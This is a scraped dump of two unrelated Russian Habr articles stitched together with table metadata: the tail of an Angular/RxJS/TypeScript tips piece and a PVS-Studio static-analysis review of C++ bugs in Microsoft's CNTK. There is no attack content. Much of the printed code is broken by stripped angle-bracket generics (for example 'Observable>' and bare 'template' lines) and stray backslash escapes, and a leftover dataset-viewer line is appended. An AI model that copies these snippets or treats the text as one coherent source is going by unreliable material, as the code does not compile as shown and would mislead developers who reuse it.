> *Еще один вариант, работающий с* `@HostListener`*, — создать свой* `EventManagerPlugin`*. Мы выпустили open-source-библиотеку под названием* [*ng-event-plugins.*](https://github.com/TinkoffCreditSystems/ng-event-plugins) *Она позволяет отсеивать лишние проверки изменений. Подробнее об этом читайте* [*в этой статье.*](https://habr.com/ru/company/tinkoff/blog/492766/)
>
>
2. Хорошенько разберитесь в RxJS
--------------------------------
RxJS — очень мощный инструмент. Мы все его используем в той или иной мере, но именно хорошее владение им очень сильнопоможет вам. От простых стримов, которые позволят быстро перезагрузить компонент —
— до сложных комбинаций операторов. Например, чтобы понять, настоящий у вас скролл или инерционный:
Только посмотрите, как просто создать шапку, исчезающую при прокрутке сайта вниз. Совсем немного CSS и базовый RxJS:
Код
```
@Directive({
selector: "[sticky]",
providers: [DestroyService]
})
export class StickyDirective {
constructor(
@Inject(DestroyService) destroy$: Observable,
@Inject(WINDOW) windowRef: Window,
renderer: Renderer2,
{ nativeElement }: ElementRef
) {
fromEvent(windowRef, "scroll")
.pipe(
map(() => windowRef.scrollY),
pairwise(),
map(([prev, next]) => next < THRESHOLD || prev > next),
distinctUntilChanged(),
startWith(true),
takeUntil(destroy$)
)
.subscribe(stuck => {
renderer.setAttribute(
nativeElement,
"data-stuck",
String(stuck)
);
});
}
}
```
Сложно переоценить знание RxJS для Angular-разработчика в долгосрочной перспективе. Простой на первый взгляд RxJS требует некоего смещения парадигмы, чтобы начать мыслить потоками. Но, когда вы это сделаете, ваш код станет аккуратнее и легче в поддержке.
Тут особо нечего советовать, кроме как больше практиковаться . Если видите ситуацию, которую можно решить через RxJS, — попытайтесь сделать это. Избегайте сайд-эффектов и вложенных подписок. Держите свои стримы в порядке и следите за утечками памяти (подробнее об этом дальше).
3. Выжимайте максимум из TypeScript
-----------------------------------
Мы все пишем Angular-приложения на TypeScript. Но, чтобы получить максимальную пользу, нужно задействовать его целиком. Я редко вижу проекты с включенным `strict: true`. Вам определенно следует сделать это. Оно спасет вас от множества *cannot read property of null* и *undefined is not a function*.
### Дженерики
В TypeScript существуют дженерики — для случаев, когда тип, с которым мы работаем, неизвестен. Комбинация дженериков, перегрузок и сужения типов позволит вам сделать крутой API. Почти никогда не придется делать тайпкаст. Посмотрите на этот пример типизированного RxJS-метода `fromEvent`:
Код
```
// Тип события с конкретным currentTarget
export type EventWith<
E extends Event,
T extends FromEventTarget
> = E & {
readonly currentTarget: T;
};
// Типизированный вариант fromEvent
export function typedFromEvent<
E extends keyof GlobalEventHandlersEventMap,
T extends FromEventTarget>
>(
target: T,
event: E,
options: AddEventListenerOptions = {},
): Observable> {
return fromEvent(target, event, options);
}
```
С ним вы будете уверены, что событие имеет конкретный тип, а `currentTarget` — это элемент, на котором вы его слушаете.
> *API, построенные на дженериках, хороши тем, что они не завязаны на формат данных. А значит, их легко расширять и другим разработчикам не придется подстраиваться под определенный интерфейс.*
>
>
Есть немало статей о продвинутой типизации и всевозможных трюках с TypeScript. Я очень советую расширять свои знания в этой области, это поможет вам писать надежный код. Мой последний совет: не используйте `any`. Если вы не можете применить дженерик, более безопасным выбором будет `unknown`.
### Декораторы
Не забывайте про другие инструменты TypeScript, такие как декораторы. При умелом использовании они могут значительно улучшить ваш код. К примеру, бывают ситуации, когда тип переменной корректный, но значение не подходит: отрицательное или дробное число не подходит для обозначения количества, хотя тип и там, и там — `number`. TypeScript такое не отловит, но мы можем защитить компоненты в runtime с помощью декоратора:
Код
```
export function assert(
assertion: (input: T[K]) => boolean,
messsage: string
): PropertyDecorator {
return (target, key) => {
Object.defineProperty(target, key, {
set(this: T, initialValue: T[K]) {
let currentValue = initialValue;
Object.defineProperty(this, key, {
get(): T[K] {
return currentValue;
},
set(this: T, value: T[K]) {
console.assert(assertion(value), messsage);
currentValue = value;
}
});
}
});
};
}
```
Вы знали, что декорированный абстрактный класс не нуждается в пробросе аргументов в `super()`? Angular сам сделает это за вас, если не использовать конструктор в дочернем классе:
Еще один хороший пример для декораторов — переиспользуемая логика обработки. Посмотрите кусок кода из нашей библиотеки для Web Audio API в Angular, где мы [превращаем декларативный байндинг в императивные нативные команды](https://github.com/ng-web-apis/audio/blob/c7db781a31d9a945700b0f6bce055bd66d0d4810/projects/audio/src/utils/process-audio-param.ts) с помощью [строго типизированного декоратора.](https://github.com/ng-web-apis/audio/blob/master/projects/audio/src/decorators/audio-param.ts) Подробнее про саму библиотеку можно [почитать тут.](https://habr.com/ru/company/tinkoff/blog/493622/)
4. Dependency Injection. Используйте его почаще
-----------------------------------------------
DI — одна из причин, почему Angular такой мощный фреймворк. Возможно, это даже главная причина. Но слишком часто его не используют по полной.
> *Могу порекомендовать* [*нашу статью, посвященную DI*](https://habr.com/ru/company/tinkoff/blog/516622/)*, чтобы освоиться с этим инструментом.*
>
>
### RxJS
Что касается практических советов, выше я уже говорил быть внимательными к утечкам памяти в RxJS. Главным образом это означает, что, **если вы подписались на стрим руками, вам же и придется от него отписаться**. Идиоматическим решение в Angular будет инкапсуляция подобной логики в сервис:
Код
```
@Injectable()
export class DestroyService extends Subject implements OnDestroy {
ngOnDestroy() {
this.next();
this.complete();
}
}
```
Вы также можете создавать общие стримы и добавлять их в DI. Нет необходимости создавать отдельные потоки на базе `requestAnimationFrame` в вашем приложении. Создайте токен и переиспользуйте его. Вы даже можете заложить в него операторы для выхода из зоны, описанные выше:
### Токены
DI — хороший инструмент для повышения абстрактности вашего кода. Если вы не зависите от глобальных объектов вроде `window` или `navigator` — ваше приложение готово к использование в Angular Universal в серверном окружении. Такой код просто тестируется, так как все его зависимости легко подменить на заглушки. Глобальные объекты без труда превращаются в токены. Внутри фабрики при объявлении токена нам доступен глобальный инжектор. Нам потребуется всего пара строк для создания `WINDOW` токена на базе встроенного `DOCUMENT`:
Код
```
export const WINDOW = new InjectionToken(
'An abstraction over global window object',
{
factory: () => {
const {defaultView} = inject(DOCUMENT);
if (!defaultView) {
throw new Error('Window is not available');
}
return defaultView;
},
},
);
```
> *Чтобы не тратить на это время, используйте* [*нашу open-source-библиотеку*](https://github.com/ng-web-apis/common)*, где мы уже реализовали многие такие токены. А для Angular Universal есть* [*ее библиотека-сестра*](https://github.com/ng-web-apis/universal) *с качественными заглушками. Не стесняйтесь,* [*пишите нам*](https://github.com/ng-web-apis/common/issues)*, если вам нужен еще какой-то токен.*
>
>
Токены и фабрики дают массу возможностей. В сочетании с иерархической структурой DI они позволяют сделать приложение очень модульным. Можете почитать больше про использование провайдеров [в этой статье.](https://habr.com/ru/company/tinkoff/blog/507906/)
5. Бросайте императора в бездну, как Вейдер
-------------------------------------------
Angular со своим синтаксисом шаблонов и декораторами подталкивает нас к декларативному подходу. Я уже упоминал его. Не будем сейчас вдаваться в подробности о его преимуществах по сравнению с императивным кодом. Я просто дам вам четкий совет: **пишите декларативный код**. Когда вы к нему привыкнете, то заметите, насколько все стало лучше.
### Геттеры
Что это означает — «писать декларативный код»? В первую очередь постарайтесь использовать `ngOnChanges` как можно реже. Это плохо типизированный сайд-эффект, который нужен, по сути, только когда надо выполнить какое-то действие при изменении нескольких входных значений.
Если есть необходимость отреагировать на изменение одного инпута — *сеттер* будет более прямолинейным решением. Если же вместо действия вы собирались обновить какое-то внутреннее состояние, убедитесь что его нельзя заменить вычисляемым *геттером*.
Производительность и геттеры — тема для отдельной статьи, до которой я надеюсь вскоре добраться. А пока возьмите за правило не создавать новых объектов или массивов внутри геттеров. Это существенно более затратная операция, чем арифметика или сложение строк. Если вам требуется пересоздать объект, воспользуйтесь техникой мемоизации — к примеру, чистым пайпом.
Это хороший пример для сеттера, который я опустил для краткости, но про который мне напомнил внимательный читатель.
### Template reference variables
Вместо ручного запрашивания элементов из шаблона в Angular предусмотрен декоратор `@ViewChild`. Однако зачастую он не нужен, если можно завернуть передачу элемента в шаблоне:
```
Focus
```
Здесь мы передаем *template reference variable* непосредственно в метод, где она нужна. Так код нашего компонента остается чище. Думайте об этом как о подобии *замыкания* в шаблоне.
Но что, если мы хотим получить DOM-элемент, который является компонентом? Мы могли бы написать `@ViewChild(MyComponent, {read: ElementRef})`, но мы обойдемся без поля класса, если создадим директиву с `exportAs`:
Код
```
@Directive({
selector: '[element]',
exportAs: 'elementRef',
})
export class ElementDirective extends ElementRef {
constructor(@Inject(ElementRef) {nativeElement}: ElementRef) {
super(nativeElement);
}
}
```
### Динамический контент
Люди часто используют `ComponentFactoryResolver` для императивного создания динамических компонентов. Зачем, если есть директива `ngComponentOutlet`? Потому что так мы получим доступ к экземпляру компонента и сможем передать в него данные. Хороший способ решения подобной задачи — опять же, **Dependency Injection**. `ngComponentOutlet` позволяет передать `Injector`, который мы создадим и подложим в него данные через токен.
По сути, для создания динамического контента у нас есть *интерполяция*, *шаблоны* и *компоненты*. И принципиальной разницы между ними нет. У нас есть **контекст** и есть его **представление**.
Мы уже давно используем этот подход, не зависящий от типа переданного контента. Мы вынесли его в крошечную open-source-библиотеку под названием [ng-polymorpheus.](https://github.com/TinkoffCreditSystems/ng-polymorpheus) Она не делает ничего, кроме передачи контента в соответствующий встроенный инструмент, `ngTemplateOutlet`, `ngContentOutlet` или же простую интерполяцию с вызовом функции. Когда привыкаешь к такому, обратной дороги уже нет! Подробнее читайте [в этой статье.](https://habr.com/ru/company/tinkoff/blog/473108/)
На этом все. Надеюсь, мои советы будут вам полезны. Приятного кодинга! | https://habr.com/ru/post/519052/ | null | ru | null |
# «Почему ещё не изобрели искусственный интеллект?» или проверка инструментария CNTK от Microsoft Research
Microsoft выложила в открытый доступ исходный код инструментов, которые используются в компании для ускорения разработок в области искусственного интеллекта: набор Computational Network Toolkit теперь доступен на Github. Разработчикам пришлось создать собственное решение, так как имеющиеся инструменты работали слишком медленно. Давайте же взглянем на результаты проверки этого проекта статическим анализатором кода.
Введение
--------
[Computational Network Toolkit](https://github.com/Microsoft/CNTK) (CNTK) — набор инструментов для проектирования и тренировки сетей различного типа, которые можно использовать для распознавания образов, понимания речи, анализа текстов и многого другого.
[PVS-Studio](http://www.viva64.com/ru/pvs-studio/) — это статический анализатор для выявления ошибок в исходном коде программ, написанных на языках С, C++ и C#. Инструмент PVS-Studio предназначен для разработчиков современных приложений и интегрируется в среды Visual Studio 2010-2015.
Подготавливая статью о проверке очередного [открытого проекта](http://www.viva64.com/ru/a/0084/), мы приводим в ней информацию далеко не о всех предупреждениях, которые выдаёт статический анализатор. Поэтому мы рекомендуем авторам проекта самостоятельно выполнить анализ и изучить все выдаваемые анализатором сообщения. Мы предоставляем на время ключ разработчикам открытых проектов.
Сразу скажу, что ошибок нашлось немного. И это ожидаемо. Код продуктов Microsoft очень качественный и мы уже не раз убеждались в этом, проверяя проекты, которые компания постепенно открывает. Но [не забываем](http://www.viva64.com/ru/b/0105/), что смысл статического анализа в регулярных проверках, а не в разовых «кавалерийских наскоках».
Эх, опечатки
------------
Опечатки — неприятная случайность при наборе текста. Они проникли в социальные сети, книги, публикации в интернете и даже на телевидение. В обычном тексте на помощь приходит проверка орфографии в текстовых редакторах, а в программировании с этим хорошо справляется статический анализ исходного кода.
[V501](http://www.viva64.com/ru/d/0090/) There are identical sub-expressions '!Input(0)->HasMBLayout()' to the left and to the right of the '||' operator. trainingnodes.h 1416
```
virtual void Validate(bool isFinalValidationPass) override
{
....
if (isFinalValidationPass &&
!(Input(0)->GetSampleMatrixNumRows() ==
Input(2)->GetSampleMatrixNumRows() &&
(Input(0)->GetMBLayout() ==
Input(2)->GetMBLayout() ||
!Input(0)->HasMBLayout() || // <=
!Input(0)->HasMBLayout()))) // <=
{
LogicError(..., NodeName().c_str(),OperationName().c_str());
}
....
}
```
Форматирование этого фрагмента сильно изменено для наглядности. Только после этого стало очевидным, что в условии присутствуют две одинаковые проверки "!Input(0)->HasMBLayout()". Скорее всего, в одном случае хотели использовать элемент с индексом '2'.
[V501](http://www.viva64.com/ru/d/0090/) There are identical sub-expressions to the left and to the right of the '-' operator: i0 — i0 ssematrix.h 564
```
void assignpatch(const ssematrixbase &patch,
const size_t i0,
const size_t i1,
const size_t j0,
const size_t j1)
{
....
for (size_t j = j0; j < j1; j++)
{
const float *pcol = &patch(i0 - i0, j - j0); // <=
float *qcol = &us(i0, j);
const size_t colbytes = (i1 - i0) * sizeof(*pcol);
memcpy(qcol, pcol, colbytes);
}
....
}
```
Из-за печатки выражение «i0-i0» всегда равно нулю. Возможно, тут хотели написать «i1-i0» или «j — i1», или ещё как-нибудь. Разработчикам необходимо обязательно проверить это место.
[V596](http://www.viva64.com/ru/d/0206/) The object was created but it is not being used. The 'throw' keyword could be missing: throw runtime\_error(FOO); simplenetworkbuilder.cpp 1578
```
template
ComputationNetworkPtr SimpleNetworkBuilder::
BuildNetworkFromDbnFile(const std::wstring& dbnModelFileName)
{
....
if (this->m\_outputLayerSize >= 0)
outputLayerSize = this->m\_outputLayerSize;
else if (m\_layerSizes.size() > 0)
m\_layerSizes[m\_layerSizes.size() - 1];
else
std::runtime\_error("Output layer size must be..."); // <=
....
}
```
Ошибка заключается в том, что случайно забыто ключевое слово 'throw'. В результате данный код не генерирует исключение в случае ошибочной ситуации. Исправленный вариант кода:
```
....
else
throw std::runtime_error("Output layer size must be...");
....
```
Работа с файлами
----------------
V739 EOF should not be compared with a value of the 'char' type. The 'c' should be of the 'int' type. fileutil.cpp 852
```
string fgetstring(FILE* f)
{
string res;
for (;;)
{
char c = (char) fgetc(f); // <=
if (c == EOF) // <=
RuntimeError("error reading .... 0: %s", strerror(errno));
if (c == 0)
break;
res.push_back(c);
}
return res;
}
```
Анализатор обнаружил, что константа EOF сравнивается с переменной типа 'char'. Это свидетельствует о том, что некоторые символы будут обрабатываться программой неверно.
Рассмотрим, как объявлен EOF:
```
#define EOF (-1)
```
Как видите, EOF есть ни что иное как '-1' типа 'int'. Функция fgetc () возвращает значения типа 'int'. А именно — она может вернуть число от 0 до 255 или -1 (EOF). Прочитанные значение помещаются в переменную типа 'char'. Из-за этого символ со значением 0xFF (255) превращается в -1 и интерпретируется точно также как конец файла (EOF).
Пользователи, использующие [Extended ASCII Codes](https://en.wikipedia.org/wiki/Extended_ASCII), могут столкнуться с ошибкой, когда один из символов их алфавита некорректно обрабатывается программой.
Например, последняя буква русского алфавита в кодировке [Windows-1251](https://en.wikipedia.org/wiki/Windows-1251) как раз имеет код 0xFF и воспримется программой как символ конца файла.
Исправленный фрагмент кода:
```
int c = fgetc(f);
if (c == EOF)
RuntimeError(....);
```
[V547](http://www.viva64.com/ru/d/0137/) Expression 'val[0] == 0xEF' is always false. The value range of char type: [-128, 127]. file.cpp 462
```
bool File::IsUnicodeBOM(bool skip)
{
....
else if (m_options & fileOptionsText)
{
char val[3];
file.ReadString(val, 3);
found = (val[0] == 0xEF && val[1] == 0xBB && val[2] == 0xBF);
}
// restore pointer if no BOM or we aren't skipping it
if (!found || !skip)
{
SetPosition(pos);
}
....
}
```
По умолчанию тип 'char' имеет диапазон значений равный [-127;127]. С помощью флага компиляции /J можно сказать компилятору, чтобы использовался диапазон [0;255]. Но для этого исходного файла такой флаг не указан, поэтому такой код никогда не определит, что файл содержит [BOM](https://en.wikipedia.org/wiki/Byte_order_mark).
Работа с памятью
----------------
[V595](http://www.viva64.com/ru/d/0205/) The 'm\_rowIndices' pointer was utilized before it was verified against nullptr. Check lines: 171, 175. libsvmbinaryreader.cpp 171
```
template
void SparseBinaryMatrix::ResizeArrays(size\_t newNNz)
{
....
if (m\_nnz > 0)
{
memcpy(rowIndices, m\_rowIndices, sizeof(int32\_t)....); // <=
memcpy(values, this->m\_values, sizeof(ElemType)....); // <=
}
if (m\_rowIndices != nullptr)
{
// free(m\_rowIndices);
CUDAPageLockedMemAllocator::Free(this->m\_rowIndices, ....);
}
if (this->m\_values != nullptr)
{
// free(this->m\_values);
CUDAPageLockedMemAllocator::Free(this->m\_values, ....);
}
....
}
```
Анализатор обнаружил потенциальное разыменование нулевого указателя. Если в коде присутствует сравнение указателя с нулём, но выше по коду этот указатель используется без проверки, то такой код является подозрительным и опасным.
Функции memcpy() копируют байты, расположенные по адресам 'm\_rowIndices' и 'm\_values', при этом выполняется разыменование этих указателей, а в приведённом примере кода они потенциально могут быть нулевыми.
[V510](http://www.viva64.com/ru/d/0099/) The 'sprintf\_s' function is not expected to receive class-type variable as third actual argument. binaryfile.cpp 501
```
const std::wstring& GetName()
{
return m_name;
}
Section* Section::ReadSection(....)
{
....
char message[256];
sprintf_s(message,"Invalid header in file %ls, in header %s\n",
m_file->GetName(), section->GetName()); // <=
RuntimeError(message);
....
}
```
В качестве фактических параметров функции sprint\_s() могут выступать только POD типы. POD — это аббревиатура от «Plain Old Data», что можно перевести как «Простые данные в стиле Си».
«std::wstring» к POD-типам не относится. Вместо указателя на строку в стек попадёт содержимое объекта. Такой код приведет к формированию в буфере «абракадабры» или к аварийному завершению программы.
Исправленный вариант:
```
sprintf_s(message,"Invalid header in file %ls, in header %s\n",
m_file->GetName().c_str(), section->GetName().c_str());
```
[V630](http://www.viva64.com/ru/d/0247/) The 'malloc' function is used to allocate memory for an array of objects which are classes containing constructors. latticeforwardbackward.cpp 912
```
void lattice::forwardbackwardalign()
{
....
aligninfo *refinfo;
unsigned short *refalign;
refinfo = (aligninfo *) malloc(sizeof(aligninfo) * 1); // <=
refalign = (unsigned short *) malloc(sizeof(....) * framenum);
array_ref refunits(refinfo, 1);
array\_ref refedgealignmentsj(....);
....
}
```
В этом фрагменте кода найдено некорректное выделение динамической памяти под структуру типа «aligninfo». Дело в том, что в определении структуры присутствуют конструкторы, а при таком способе выделения памяти не будет вызван конструктор. При освобождении памяти с помощью функции free() также не будет вызван деструктор.
Ниже приведён код описания типа «aligninfo»:
```
struct aligninfo // phonetic alignment
{
unsigned int unit : 19; // triphone index
unsigned int frames : 11; // duration in frames
unsigned int unused : 1; // (for future use)
unsigned int last : 1; // set for last entry
aligninfo(size_t punit, size_t pframes)
: unit((unsigned int) punit),
frames((unsigned int) pframes), unused(0), last(0)
{
checkoverflow(unit, punit, "aligninfo::unit");
checkoverflow(frames, pframes, "aligninfo::frames");
}
aligninfo() // [v-hansu] initialize to impossible values
{
#ifdef INITIAL_STRANGE
unit = unsigned int(-1);
frames = unsigned int(-1);
unused = unsigned int(-1);
last = unsigned int(-1);
#endif
}
template
void updateunit(const IDMAP& idmap /\*[unit] -> new unit\*/)
{
const size\_t mappedunit = idmap[unit];
unit = (unsigned int) mappedunit;
checkoverflow(unit, mappedunit, "aligninfo::unit");
}
};
```
Исправленный вариант:
```
aligninfo *refinfo = new aligninfo();
```
И естественно для освобождения памяти потребуется вызывать оператор 'delete'.
[V599](http://www.viva64.com/ru/d/0210/) The virtual destructor is not present, although the 'IDataWriter' class contains virtual functions. datawriter.cpp 47
```
IDataWriter\* m\_dataWriter;
....
template
void DataWriter::Destroy()
{
delete m\_dataWriter; // <= V599 warning
m\_dataWriter = NULL;
}
```
Сообщение анализатора говорит об отсутствии виртуального деструктора у базового типа разрушаемого объекта. В этом случае разрушение объекта производного класса повлечет за собой неопределённое поведение программы. На практике, это может приводить к утечкам памяти и неосвобождению других ресурсов. Попробуем разобраться в причине возникновения этого предупреждения.
```
template
class DATAWRITER\_API IDataWriter
{
public:
typedef std::string LabelType;
typedef unsigned int LabelIdType;
virtual void Init(....) = 0;
virtual void Init(....) = 0;
virtual void Destroy() = 0;
virtual void GetSections(....) = 0;
virtual bool SaveData(....) = 0;
virtual void SaveMapping(....) = 0;
};
```
Это определение базового класса, как мы видим — он содержит виртуальные функции, но отсутствует виртуальный деструктор.
```
m_dataWriter = new HTKMLFWriter();
```
Таким образом выделяется память под объект производного класса «HTKMLFWriter». Найдём его описание:
```
template
class HTKMLFWriter : public IDataWriter
{
private:
std::vector outputDims;
std::vector> outputFiles;
std::vector udims;
std::map outputNameToIdMap;
std::map outputNameToDimMap;
std::map outputNameToTypeMap;
unsigned int sampPeriod;
size\_t outputFileIndex;
void Save(std::wstring& outputFile, ....);
ElemType\* m\_tempArray;
size\_t m\_tempArraySize;
....
};
```
Из-за пропущенного виртуального деструктора в базовом классе, этот объект не будет корректно разрушен. Не будут вызваны деструкторы для объектов outputDims, outputFiles и так далее. А вообще все последствия предсказать невозможно, ведь «неопределенное поведение» не зря так называется.
Разные ошибки
-------------
[V502](http://www.viva64.com/ru/d/0091/) Perhaps the '?:' operator works in a different way than it was expected. The '?:' operator has a lower priority than the '|' operator. sequenceparser.h 338
```
enum SequenceFlags
{
seqFlagNull = 0,
seqFlagLineBreak = 1, // line break on the parsed line
seqFlagEmptyLine = 2, // empty line
seqFlagStartLabel = 4,
seqFlagStopLabel = 8
};
long Parse(....)
{
....
// sequence state machine variables
bool m_beginSequence;
bool m_endSequence;
....
if (seqPos)
{
SequencePosition sequencePos(numbers->size(), labels->size(),
m_beginSequence ? seqFlagStartLabel : 0 | m_endSequence ?
seqFlagStopLabel : 0 | seqFlagLineBreak);
// add a sequence element to the list
seqPos->push_back(sequencePos);
sequencePositionLast = sequencePos;
}
// end of sequence determines record separation
if (m_endSequence)
recordCount = (long) labels->size();
....
}
```
Приоритет тернарного оператора ':?' ниже приоритета побитового ИЛИ '|'. Рассмотрим фрагмент с ошибкой отдельно:
```
0 | m_endSequence ? seqFlagStopLabel : 0 | seqFlagLineBreak
```
В коде ожидалось выполнение побитовых операций только с заданными флагами, но из-за непредвиденного порядка выполнения операторов, сначала вычислится «0 | m\_endSequence», а не «m\_endSequence? seqFlagStopLabel: 0 | seqFlagLineBreak».
Вообще это интересный случай. Несмотря на ошибку, код работает правильно. Побитое ИЛИ с 0 не оказывает никакого влияния. Тем не менее ошибку лучше поправить.
Ещё два таких места:* V502 Perhaps the '?:' operator works in a different way than it was expected. The '?:' operator has a lower priority than the '|' operator. sequenceparser.h 433
* V502 Perhaps the '?:' operator works in a different way than it was expected. The '?:' operator has a lower priority than the '|' operator. sequenceparser.h 598
[V530](http://www.viva64.com/ru/d/0119/) The return value of function 'size' is required to be utilized. basics.h 428
```
// TODO: merge this with todouble(const char*) above
static inline double todouble(const std::string& s)
{
s.size(); // just used to remove the unreferenced warning
double value = 0.0;
....
}
```
В этом месте нет ошибки, о чём нам говорит оставленный комментарий, но этот пример я привёл не просто так:
Во-первых, для отключения предупреждения компилятора есть UNREFERENCED\_PARAMETER macro, название которого однозначно даёт понять, что параметр функции не используется намеренно:
```
#define UNREFERENCED_PARAMETER(P) (P)
static inline double todouble(const std::string& s)
{
UNREFERENCED_PARAMETER(s);
....
}
```
Во-вторых, я хотел подвести к другому предупреждению анализатора, которое, скорее всего, указывает на ошибку:
[V530](http://www.viva64.com/ru/d/0119/) The return value of function 'empty' is required to be utilized. utterancesourcemulti.h 340
```
template
std::vector>getclassids(const UTTREF &uttref)
{
std::vector> allclassids;
allclassids.empty(); // <=
....
}
```
Не имеет смысла не использовать результат функции empty(). Скорее всего тут хотели очистить вектор с помощью функции clear().
Похожее место:* V530 The return value of function 'empty' is required to be utilized. utterancesourcemulti.h 364
[V688](http://www.viva64.com/ru/d/0322/) The 'm\_file' local variable possesses the same name as one of the class members, which can result in a confusion. sequencereader.cpp 552
```
template
class SequenceReader : public IDataReader
{
protected:
bool m\_idx2clsRead;
bool m\_clsinfoRead;
bool m\_idx2probRead;
std::wstring m\_file; // <=
....
}
template
template
void SequenceReader::InitFromConfig(....)
{
....
std::wstring m\_file = readerConfig(L"file"); // <=
if (m\_traceLevel > 0)
{
fprintf(stderr, "....", m\_file.c\_str());
}
....
}
```
Использование одноимённых переменных в классе, в функциях класса и параметрах класса является очень плохим стилем программирования. Вот в этом примере: объявление переменной «std::wstring m\_file = readerConfig(L»file");" на самом деле должно было быть здесь или было добавлено временно для отладки, а потом забыли удалить?
Разработчикам необходимо проверить это и следующие места:* V688 The 'm\_file' local variable possesses the same name as one of the class members, which can result in a confusion. sequencereader.cpp 1554
* V688 The 'm\_mbStartSample' function argument possesses the same name as one of the class members, which can result in a confusion. sequencereader.cpp 2062
* V688 The 'm\_file' local variable possesses the same name as one of the class members, which can result in a confusion. lusequencereader.cpp 417
Заключение
----------
Computational Network Toolkit (CNTK) — оказался небольшим, но очень интересным проектом для проверки. Так как проект CNTK только недавно был открыт, то ждём интересных решений с его использованием, а также ждём открытие других проектов Microsoft.
[](http://www.viva64.com/en/b/0372/)
Если хотите поделиться этой статьей с англоязычной аудиторией, то прошу использовать ссылку на перевод: Svyatoslav Razmyslov. [«Why is there no artificial intelligence yet?» Or, analysis of CNTK tool kit from Microsoft Research](http://www.viva64.com/en/b/0372/).
**Прочитали статью и есть вопрос?**Часто к нашим статьям задают одни и те же вопросы. Ответы на них мы собрали здесь: [Ответы на вопросы читателей статей про PVS-Studio, версия 2015](http://www.viva64.com/ru/a/0085/). Пожалуйста, ознакомьтесь со списком. | https://habr.com/ru/post/276427/ | null | ru | null |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.